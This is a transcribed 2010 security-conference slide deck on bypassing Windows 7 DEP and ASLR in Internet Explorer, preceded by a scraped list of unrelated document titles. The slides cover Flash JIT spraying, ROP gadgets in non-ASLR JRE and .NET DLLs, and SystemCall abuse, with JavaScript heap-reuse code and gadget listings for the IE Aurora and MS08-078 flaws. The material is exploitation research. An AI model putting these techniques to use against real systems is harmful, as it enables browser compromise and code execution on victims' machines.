Microsoft PowerPoint - XCon2010_win7_cn.ppt [兼容模式]

Similar documents
ROP_bamboofox.key

Linux kernel exploit研究和探索

Visualize CMap

漏 洞 攻 防 EXPLOIT ATTACK & DEFENCE 栏 目 编 辑 脚 本 小 子 scriptsboy@hacker.com.cn HEAD 部 分 大 小 当 然 也 就 是 固 定 的 18200H 如 果 要 提 取 出 HEAD, 我 们 可 以 选 中 前 18200H 字

Slide 1

实验指导书

inc-by-one 之高级漏洞利用技术 By Netfairy 前言 什么是 inc-by-one? 比如有这样的一条指令 :inc dword ptr [eax+8], 这条指令执行的效果是 使 eax+8 地址处的值加 1, 类似于 c 语言 *(eax+8) = *(eax+8) +1, 如

DbgPrint 函数流程分析

序 文 藝 社 (Society of Chinese Literature) 在 去 年 暑 假 開 始 籌 措 成 立, 二 零 一 三 年 九 月 正 式 展 開 所 有 活 動 文 藝 社 成 立 的 目 的 旨 在 讓 學 生 學 習 欣 賞 歷 代 名 篇 名 作, 其 中 以 古 典

前沿技术 全面绕过执行流保护 安全研究部张云海 执行流保护 (CFG,Control Flow Guard) 是微软在 Windows 10 技术预览版与 Windows 8.1 update 3 中, 默认启用的一项缓解技术 在分析 CFG 的实现机制的过程中, 我们发现了一种全面绕过 CFG 的

A Preliminary Implementation of Linux Kernel Virus and Process Hiding


> u eip l 3 002f2aa9 90 nop 002f2aaa 90 nop >!chkimg -d -lo 1 ping // 检查文件是否被篡改? 002f2aa7-002f2aaa 4 bytes - ping!maincrtstartup [ e :f0 cc 9

Flash Exploit

目 录

1 CPU interrupt INT trap CPU exception

Enrolment

! "#$% & ())*! ++, +- +.)! ++ ())* / 0!!""#!

(一)宿舍生活解惑區

返回导向编程 (ROP) 译者 :Netfairty 前言 欢迎来到第七部分, 经过前面的学习, 可能你想做一些更有挑战性的事. 好的, 本节我们将 要学习的是 ROP( 返回导向编程 ). 不像前一节我们把参数精心布置在堆栈然后调用 Windwos API 去执行它们. 所有介绍 ROP 教程都需

1.加入党组织主要经过哪些程序?

06721 main() lock pick proc() restart() [2][4] MINIX minix2.0 GDT, IDT irq table[] CPU CPU CPU CPU (IDTR) idt[] CPU _hwint00:! Interrupt

1

"\x33\x31\x43\x17\x83\xeb\xfc\x03\x6b\x0c\xa6\x2b\x97\xda\xaf" "\xd4\x67\x1b\xd0\x5d\x82\x2a\xc2\x3a\xc7\x1f\xd2\x49\x85\x93" "\x99\x1c\x3d\x27\xef\x8

中國文化大學第五屆畢業製作-論文組寫作格式樣本

<4D F736F F D20CEC4BCFEBCB6B6F1D2E2B4FAC2EBC9A8C3E8D2FDC7E6D6D0B5C4BCD3BFC7CAB6B1F0BCBCCAF52E646F6378>

声 明 本 公 司 及 全 体 董 事 监 事 高 级 管 理 人 员 承 诺 不 存 在 任 何 虚 假 记 载 误 导 性 陈 述 或 重 大 遗 漏, 并 对 其 真 实 性 准 确 性 完 整 性 承 担 个 别 和 连 带 的 法 律 责 任 本 公 司 负 责 人 和 主 管 会 计 工

<4D F736F F D20A5C1B6A1B3E0C2A7B2DFAB55A4B6B2D02E646F63>

,768 32,767 32K JMP Jnnn (386+) LOOP CALL [Label:] JMP short/near/far address L10: jmp jmp L20: L10 L20

AL-M200 Series

WEBMAIL系统登录

今天刚发现的, 比较简单, 于是就来简单分析下吧 该感染样本很简单, 新加了个区段放病毒执行代码, 执行病毒代码, 最后跳回原入口点来执行原文件 下面就是感染后的代码的简单分析 : ; =============== S U B R O U T I N E =====================

宁夏专业技术人员服务平台


B

前沿技术 php.net 被植入恶意代码分析 核心技术部张云海 关键字 :php.net 挂马 Magnitude 摘要 : 本文对 2013 年 10 月 php.net 被植入的恶意代码进行分析 1. 引言 013 年 10 月 23 日,Google 的 Safe Browsing 检测到 p

<4D F736F F D20C6F3D2B5CDF8D5BECFB5CDB3BCBCCAF5B9E6B7B6CAE9A3A8C6C0B9C0D3C3A3A92E646F63>

<4D F736F F D20CAB5D1E9CAD2B9DCC0EDC6BDCCA856342E315FD1A7C9FAD3C3BBA7B2D9D7F7D6B8C4CF2E646F63>

R3105+ ADSL

980105

蒙 恬 科 技 軟 件 用 戶 授 權 協 議 本 許 可 協 議 為 蒙 恬 科 技 股 份 有 限 公 司 ( 以 下 簡 稱 蒙 恬 公 司 ) 授 予 您 合 法 使 用 本 軟 件 程 式 ( 本 軟 件 ) 之 協 議 書, 如 果 您 不 同 意 此 協 議 中 的 任 何 條 款,

1 2 / 3 1 A (2-1) (2-2) A4 6 A4 7 A4 8 A4 9 A ( () 4 A4, A4 7 ) 1 (2-1) (2-2) ()

4 / ( / / 5 / / ( / 6 ( / / / 3 ( 4 ( ( 2

2640cmccedu登陆网址,京东后台登陆 京东后台登陆_icloud登陆网址

海 南 冯 琳 峰 海 南 省 锅 炉 压 力 容 器 与 特 种 设 备 检 验 所 海 南 省 定 安 县 白 蒙 路 47 号 信 XC 内 蒙 古 冯 磊 赤 峰 市 特 种 设 备 检 验 所 内 蒙 古 赤 峰 市 红 山 区 八 里 铺 油 库 路

<4D F736F F D20BCAFC3C0B4F3D1A7B3CFD2E3D1A7D4BAB1BEBFC6D1A7C9FABFCECDE2BCBCC4DCD1B5C1B7D3EBB4B4D0C2CAB5BCF9D1A7B7D6C8CFB6A8D3EBB9DCC0EDB0ECB7A8A3A D0DEB6A9B0E6D7EED6D5B0E6A3A95FB8BDBCFE31>

Microsoft PowerPoint - 03.IPv6_Linux.ppt [相容模式]

Abstract arm linux tool-chain root NET-Start! 2

材 料 目 录 1. 党 员 发 展 及 转 正 流 程 图 2. 申 请 入 党 人 员 基 本 信 息 及 培 养 记 录 表 3. 思 想 汇 报 传 阅 及 意 见 反 馈 表 4. 入 党 积 极 分 子 培 养 考 察 表 5. 政 治 审 查 函 调 信 模 板 6. 政 治 审 查

主 題 四 : 都 卜 勒 效 應 一 都 卜 勒 效 應 1. 現 象 : 當 波 源 與 觀 察 者 連 線 間 有 相 對 運 動 時, 聽 者 所 接 收 到 的 頻 率 ( 視 頻 ) 將 與 波 源 之 原 頻 率 不 同, 此 現 象 稱 為 都 卜 勒 效 應 例 如 站 於 路 旁

untitled

Microsoft Word SRS - 軟體需求規格.doc

untitled

一 引 言 目 的 内 容 系 统 软 件 插 件 配 置... 3 二 系 统 介 绍 系 统 主 要 功 能 系 统 角 色 权 限 申 请 流 程 说 明... 4 三 企 业 申 请

2007年普通高等学校招生全国统一考试

学习MSP430单片机推荐参考书

幻灯片 1

1994 年 10 月 17 日 : 去 微 软 面 试 去 微 软 面 试 之 前, 我 就 读 了 很 多 有 关 微 软 面 试 的 文 章 大 家 都 说 微 软 的 员 工 是 用 面 试 来 释 放 自 己 的 工 作 压 力 的, 因 为 微 软 的 面 试 是 出 了 名 的 整 人

1 住 房 保 障 10BA 住 房 保 障 索 引 号 : / 主 题 名 称 : 住 房 保 障 发 文 单 位 : 中 华 人 民 共 和 国 住 房 和 城 乡 建 发 文 日 期 : , 中 华 人 民 共 和 国 民 政 部, 中

黔卫计发〔2016〕28号(人事处)-两单位-网络版

AXIS P7224 Video Encoder Blade – Installation Guide

Microsoft Word htm

標準 BIG 中文字型碼表 A 0 9 B C D E F 一 乙 丁 七 乃 九 了 二 人 儿 入 八 几 刀 刁 力 匕 十 卜 又 三 下 丈 上 丫 丸 凡 久 么 也 乞 于 亡 兀 刃 勺 千 叉 口 土 士 夕 大 女 子 孑 孓 寸 小 尢 尸 山 川 工 己 已 巳 巾 干 廾

如何使用MyNSLab(MNSL)完成老師指派的作業(學生篇)

Internet Explorer 10

untitled

一 学 校 基 本 情 况 目 录 二 部 门 预 算 报 表 ( 一 ) 收 支 总 表 ( 二 ) 收 入 总 表 ( 三 ) 支 出 总 表 ( 四 ) 财 政 拨 款 支 出 表 三 部 门 预 算 报 表 说 明 ( 一 ) 收 支 总 表 说 明 ( 二 ) 收 入 总 表 说 明 (

目 录 一 学 校 基 本 情 况 二 2016 年 预 算 报 表 ( 一 ) 中 南 大 学 收 支 预 算 总 表 ( 二 ) 中 南 大 学 收 入 预 算 表 ( 三 ) 中 南 大 学 支 出 预 算 表 ( 四 ) 中 南 大 学 财 政 拨 款 支 出 预 算 表 三 2016 年

信息参考

Microsoft Word - 15dbtb007

目 录 一 系 统 总 体 要 求... 4 ( 一 ) 当 前 系 统 概 况... 4 ( 二 ) 新 系 统 总 体 要 求... 7 二 首 页 与 学 员 用 户 界 面... 9 ( 一 ) 系 统 首 页... 9 ( 二 ) 报 名 与 选 课 ( 三 ) 问 卷 调 查

上面的介绍会使我们的漏洞利用更清晰. 再次说明这篇教程不会覆盖所有的系列, 你还需要 做更多的研究. 好吧, 开始我们的旅途! 重现崩溃 是时候崩溃了 "Triologic Media Player 8". 这将是另一个文件格式的漏洞. 下面是 POC 和崩溃的截图, 你只需载入 evil.m3u

<55342D323637CBB5C3F7CAE92E786C73>

ASP 電子商務網頁設計

13 根 据 各 种 网 络 商 务 信 息 对 不 同 用 户 所 产 生 的 使 用 效 用, 网 络 商 务 信 息 大 致 可 分 为 四 级, 其 中 占 比 重 最 大 的 是 ( A ) A 第 一 级 免 费 信 息 B 第 二 级 低 收 费 信 息 C 第 三 级 标 准 收 费

河 南 蓝 皮 书 文 化 (2008) 网 络 文 学 主 要 是 指 在 网 上 原 创 的 文 学 作 品 作 为 网 络 文 化 的 主 力 部 分, 网 络 文 学 的 发 展 在 近 年 来 势 不 可 挡 作 为 凭 借 新 兴 媒 介 兴 起 的 文 学, 网 络 文 学 与 传 统

《將進酒》

21 flash

2

HKUST Institutional Repository

土 木 与 交 通 学 院 发 展 学 生 党 员 的 选 拨 条 件 与 推 荐 细 则 为 进 一 步 规 范 我 院 学 生 党 建 工 作, 加 强 和 完 善 我 院 对 学 生 党 员 各 个 阶 段 人 员 的 选 拔 和 培 养 工 作, 提 高 我 院 发 展 学 生 党 员 质

2014年大学生村官考试公共基础知识:社会革命和社会改革

朝陽科技大學八十八學年度招考碩士班簡章目錄

大连软~1

广 东 省 高 等 职 业 教 育 品 牌 专 业 建 设 方 案 ( 惠 州 城 市 职 业 学 院 _ 电 子 商 务 专 业 ) 目 录 一 建 设 目 标... 4 ( 一 ) 总 体 目 标... 4 ( 二 ) 具 体 目 标... 4 二 实 施 方 案... 5 项 目 一 全 面

十 一 实 践 教 学 环 节 安 排 表 [ 会 计 学 专 业 ] 形 式 各 周 数 分 配 课 程 编 号 课 程 名 称 学 分 周 数 集 中 分 散 第 一 第 二 第 三 第 四 第 五 第 六 第 七 第 八 备 注 军 训 ( 含 入 学 教 育 ) 专 业 实 习

Data Server_new_.doc

<4D F736F F D20C7B6C8EBCABDCFB5CDB3C9E8BCC6CAA6B0B8C0FDB5BCD1A75FD1F9D5C22E646F63>

史 教 学 评 价 与 测 试 社 会 主 义 经 济 理 论 西 方 经 济 学 管 理 方 法 社 会 经 济 统 计 会 工 商 管 理 计 学 原 理 财 务 会 计 管 理 学 原 理 市 场 营 销 生 产 运 营 管 理 财 务 管 理 成 本 管 理 人 力 资 源 管 理 金 融

有 一 个 小 和 尚 要 去 云 游 参 学, 他 的 师 父 知 道 他 信 念 不 够 坚 定, 就 问 : 弟 子 什 么 时 候 动 身? 小 和 尚 说 : 下 星 期 吧, 路 途 远 我 要 多 打 几 双 草 鞋 师 父 说 : 我 通 知 大 家 明 天 送 草 鞋 给 你 于


SSReader Print.

《计算机网络》实验指导书

zt

! "! #$# +&#!! %& #!"# )*+ % #!"!!!"!! =1.>7? "$+"+ (!! &< =1.>7? % $%& $& ( )*+ $*& $(B *& ;; / %" ;; C% %( &&& 0, ;17 -#D" (D-"" B ( %&& 0

電機工程系認可證照清單 /7/1

目 录 1 正 文 乊 前 目 癿 本 文 内 容 声 明 字 符 编 码 相 兰 癿 背 景 知 识 拉 丁 字 母 什 么 是 字 符 编 码 字 符 编 码 标 准... 8

鋼結構在綠建築發展趨勢中之綜合評價

Static Enforcement of Security with Types

CIP. / ISBN Ⅰ.... Ⅱ.... Ⅲ. Ⅳ. G CIP http / /press. nju. edu. cn

Transcription:

绕过 windows 7 浏览器内存保护 Chen XiaoBo Xiao_Chen@McAfee.com Xie Jun Jun_Xie@McAfee.com com

Windows 保护机制回顾 GS Stack cookies 防止覆盖 EIP 可以通过覆盖 SEH chains 来绕过 /GS 保护 SafeSEH & SEHOP SEH handler 验证 可以通过已注册的 SEH handler 或者没有 SafeSEH 标志的 DLL 内地址覆盖 例如 DNS RPC buffer overflow SEH chain 验证 Heap Protection Safe unlinking Heap cookies Heap metadata encryption Safe LAL (Lookaside lists) 很多保护机制在 vista / 2008 / win7 中加入 Lookaside 改写技巧还能够在 XP/2003 环境中工作

Windows 保护机制回顾 DEP NX support 永久 (Permanent) DEP IE 8 DEP is permanent NtSetProcessInformation() 的技巧无法绕过 permanent DEP Ret-to-libc or ROP (Return-Oriented Programming ) 的 shellcode 还可以绕过该 DEP 保护 ASLR Address space layout randomization( 地址随机化 ) Images / stack / heap / PEB / TEB 防止 ret-to-libc 的利用技巧

Windows 保护机制回顾 Brute force 在 IE 环境下暴力猜测 DLL 的基地址 不是很好的方法 Information leak 现在暂时还没有比较有效的内存信息泄露的技术 可能需要依赖其他 0day

利用技术的回顾 Brower memory protection bypasses By Alexander Sotirov & Mark Dowd Flash Flash 已经加入了 ASLR Java Java 仍分配 RWX 属性的内存 但是分配在 Java.exe 进程里面 ( 与 IE 进程分离 ).NET 用户控件 曾是最方便的绕过 ASLR&DEP 的技术 IE 8 已经禁止在 internet t zone 加载.NET 用户控件

目前公开的利用技术 Flash JIT By Dion Blazakis at BlackHat DC 2010 使用带执行属性的堆内存喷射 同时绕过 DEP&ASLR 在 IE 进程中加载多个 SWF 文件 JIT 后内存地址就会变得固定 该技术已经无法在 Flash 10.1 中使用 JIT 后的代码已经加密

目前公开的利用技术 Flash JIT 用 ActionScript 来编写 shellcode 使用长 XOR 表达式 XOR 指令只有一个字节 (0x35) 如果和 0x3c 指令结合就会变成一个类似 nop 的 x86 指令 CMP AL, 0x35 在 shellcode 中使用 NtAllocateVirtualMemory()/VirtualAlloc() 分配带 PAGE_EXECUTE_READWRITE 标志的内存 拷贝真正的 shellcode 并且跳转执行

目前公开的利用技术 Flash JIT 一个简单的 NtAllocateVirtualMemory() 构造例子 3589e5eb01 xor eax,1ebe589h 3583 103 3C10EC83h 3583ec103c xor eax,3c10ec83h 356a40eb01 xor eax,1eb406ah 3531c0eb01 xor eax,1ebc031h 35b410eb01 xor eax,1eb10b4h 355031db3c xor eax,3cdb3150h 35b740eb01 xor eax,1eb40b7h 35895d043c xor eax,3c045d89h 358d5d043c xor eax,3c045d8dh 355331db3c xor eax,3cdb3153h 356a00eb01 xor eax,1eb006ah 35895d083c xor eax,3c085d89h 358d5d083c xor eax,3c085d8dh 35536aff3c xor eax,3cff6a53h 356a00eb01 xor eax,1eb006ah

目前公开的利用技术 Flash JIT 通过在 JIT 代码地址 + 1 执行变成有意义的 x86 shellcode 写这样的 shellcode 显然比较痛苦 写个小工具辅助吧 shellcode2as.exe 自动把任意的 shellcode 转换成 ActionScript

Case study #1 Flash JIT with IE aurora on windows 7 IE aurora 漏洞 use-after-free 漏洞 该类漏洞常见于浏览器的 JS/DOM 使用 Root Cause EVENTPARAM 引用 CTreeNode 没有增加计数器 通过调用 element.innerhtml CTreeNode 已经被释放了 当访问 event 对象的 srcelement 或者 toelement 导致野指针的问题

Case study #1 Flash JIT with IE aurora on windows 7 重用对象 获取 CTreeNode 对象分配的大小 IE 7: 0x34 IE 8: 0x4c 在 HTML 中分配相同大小的元素来重用对象 Go exploit it

Case study #1 Flash JIT with IE aurora on windows 7 var reuse_object = new Array(); for(var x=0;x<9200;x++) { reuse_object.push(document.createelement("img")); } for (var x=0; x < 0x4c/4; i ++) var string_data = unescape("%u3344%u1122"); for(var x=0; x < reuse_object.length; x++) { reuse_object[x].src = string_data; }

Case study #1 Flash JIT Demo on windows 7

新的利用技术 3 rd Party IE plugin on windows 7 JRE 没有使用 ASLR jp2ssv.dll 缺省加载 如果你想加载更多的 JRE DLLs 在网页中嵌入一个 applet <applet code= some.class ></applet>

新的利用技术 3 rd Party IE plugin on windows 7 Bonjour for itunes / QT Adobe Shockwave (dirapi.dll) Assured Exploitation (cansecwest) DEP in depth (syscan 2010) 这些 DLL 都没有设置 ASLR 并且大部分缺省加载

新的利用技术 3 rd Party IE plugin on windows 7 在 JRE 中找到可用的指令 首先让 ESP 指向可控的数据 LEA ESP, [REG] RET LEA ESP, [REG + XX] RET PUSH REG POP ESP RET XCHG REG, ESP RET XCHG ESP, REG RET MOV ESP, REG RET MOV REG, FS:[0] RET 更加复杂的指令结合 : CALL [REG +???] and XCHG REG, ESP RET 编写 ROP shellcode 来获取控制

新的利用技术 3 rd Party IE plugin on windows 7 设置 shellcode 的内存属性为 RWX 最简单的方法就是 call VirtualProtect() WriteProcessMemory() 调用 NTWriteProcessMemory() 可以把代码写入只读并且带可执行的内存页 ( 代码页 ) 来绕过 DEP 分配 RWX 的内存页并且拷贝 shellcode 执行 例如 Adobe TIFF exploit

新的利用技术 3 rd Party IE plugin on windows 7 msdnsnsp.dll 中一段控制 ESP 的代码 mdnsnsp!dllunregisterserver+0x7b: 1608114b 94 xchg eax,esp 1608114c 0100 add dword ptr [eax],eax 1608114e 00c3 add bl,al 16081150 b826270000 mov eax,2726h 16081155 c21400 ret 14h

Case study #2 IE aurora exploit with JRE on windows 7 JRE 中控制 ESP 的代码 awt!java_sun_java2d_loops_drawrect_drawrect+0x6de: 6d005f6e 94 xchg eax,esp 6d005f6f c3 ret jp2iexp!dllgetclassobject+0x1496: 6d417e6c 94 xchg eax,esp 6d417e6d c3 ret

Case study #2 IE aurora exploit with JRE on windows 7 把所有的地址通过 JS HeapSpray 存放在固定的内存中 ROP shellcode 绕过 DEP 并且执行真正的功能 shellcode 通过完美的内存分配来避免地址对齐的问题

Case study #2 IE aurora exploit with JRE on windows 7 Call [VirtualProtect] in jvm.dll jvm!jvm_findsignal+0x5732b: 6d97c9cb ff1588d09f6d call dword ptr [jvm!jvm_findsignal+0xd79e8 (6d9fd088)] 6d97c9d1 f7d8 neg eax 6d97c9d3 1bc0 sbb eax,eax 6d97c9d5 f7d8 neg eax 6d97c9d7 5f pop edi 6d97c9d8 5e pop esi 6d97c9d9 5d pop p ebp 6d97c9da c3 ret 返回至 VirtualProtect(mem, 0x2000, 0x40, ptr) 来设置 heap 内存 RWX 标志

Case study #2 IE aurora Java ROP demo on windows 7

新的利用技术.NET Framework on windows 7 IE 8 的确禁止了.NET 用户控件的加载 (internet zone) 不能够再使用加载 exploit.dll 之类的方法 除非有其他漏洞能够跳转至 IE 的 trusted zone

新的利用技术.NET Framework on windows 7 现在这不再是个问题 Windows 7 中为了兼容问题安装了.NET framework (1.0 3.5) V1.0 v2.0 还是试用老的编译器所编译 很多 DLL 都没有 ASLR 保护!!

新的利用技术.NET Framework on windows 7 编写一个.NET 用户控件并且试用 2.0 C# 编译器编译 会强制 IE 加载老的.NET DLLs!! 案例 : 即使你的.NET 用户控件被禁止加载 IE 进程仍然会加载.NET IE mime filter DLL

New exploitation technique.net Framework on windows 7 ModLoad: 63f00000 63f0c000 C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorie.dll 这个 DLL 是没有 ASLR 保护的!!

新的利用技术 IE aurora exploit with.net Framework on windows 7 控制 ESP 寄存器 mscorie!dllgetclassobjectinternal+0x3452: 63f0575b 94 xchg eax,esp 63f0575c 8b00 mov eax,dword ptr [eax] 63f0575e 890424 mov dword ptr [esp],eax 63f05761 c3 ret

新的利用技术 IE aurora exploit with.net Framework on windows 7 返回至 VirtualProtect() 设置 Heap 的执行属性 mscorie!dllgetclassobjectinternal+0x29e2: 63f04ceb 55 push ebp 63f04cec 8bec mov ebp,esp 63f04cee ff7518 push dword ptr [ebp+18h] 63f04cf1 ff7514 push dword ptr [ebp+14h] 63f04cf4 ff7510 push dword ptr [ebp+10h] 63f04cf7 ff750c push dword ptr [ebp+0ch] 63f04cfa ff150011f063 call dword ptr [mscorie+0x1100 (63f01100)] (VirtualProtect)

Case study #3 IE aurora.net ROP demo on windows 7

新的利用技术 SystemCall On Windows 0:007> dt _KUSER_SHARED_DATA 0x7ffe0000 ntdll!_kuser_shared_data +0x300 SystemCall : 0x772864f0 +0x304 SystemCallReturn : 0x772864f4 0:007> u 772864f0 ntdll!kifastsystemcall: 772864f0 8bd4 mov edx,esp 772864f2 0f34 sysenter ntdll!kifastsystemcallret: SystemCall 地址 0x7ffe0300 0300 没有随机化!!

New exploitation technique SystemCall On Windows Windows user-mode enter to Kernel-mode like this 0:019> u ZwCreateProcess ntdll!ntcreateprocess: 77284ae0 b84f000000 mov eax,4fh 77284ae5 ba0003fe7f mov edx,offset SharedUserData!SystemCallStub (7ffe0300) 77284aea ff12 call dword ptr [edx] 77284aec c22000 ret 20h 通过手工构造 System Call 的参数 并且用 System Call 的技术来绕过 DEP&ALSR

Case study #4 IE MS08-078 exploit with SystemCall on windows 通过堆喷射的方法在内存中填充 SystemCall 的地址 在 exploit 中使用 SystemCall 地址.text:461E3D30 mov eax, [esi] //eax==0x0a0a11c8. // 0x11c8 be a systemcall ID.text:461E3D4C mov ecx, [eax] //[0x0a0a11c8]==0x7ffe027c.text:461E3D4E push edi.text:461e3d4f push eax //eax==0x0a0a11c8.text:461e3d50 call dword ptr [ecx+84h] //call [0x7FFE0300] SystemCall 以上代码等同于调用 NtUserLockWorkStation mov eax,11c8h mov edx,offset SharedUserData!SystemCallStub (7ffe0300) call dword ptr [edx]

Case study #4 System call on x64 7ffe0300 不再存放 KiFastSystemCall 的地址 通过 call dword ptr fs:[0c0h] 指令来代替系统调用的方法 0:000> u NtQueryInformationToken ntdll!ntqueryinformationtoken: 77d9fb38 b81e000000 mov eax,1eh 77d9fb3d 33c9 xor ecx,ecx 77d9fb3f 8d542404 lea edx,[esp+4] 77d9fb43 64ff15c0000000 call dword ptr fs:[0c0h] 77d9fb4a 83c404 add esp,4 77d9fb4d c21400 ret 14h

The End 以上我们共例举了 4 种绕过 ASLR&DEP 的技术

Thanks Q&A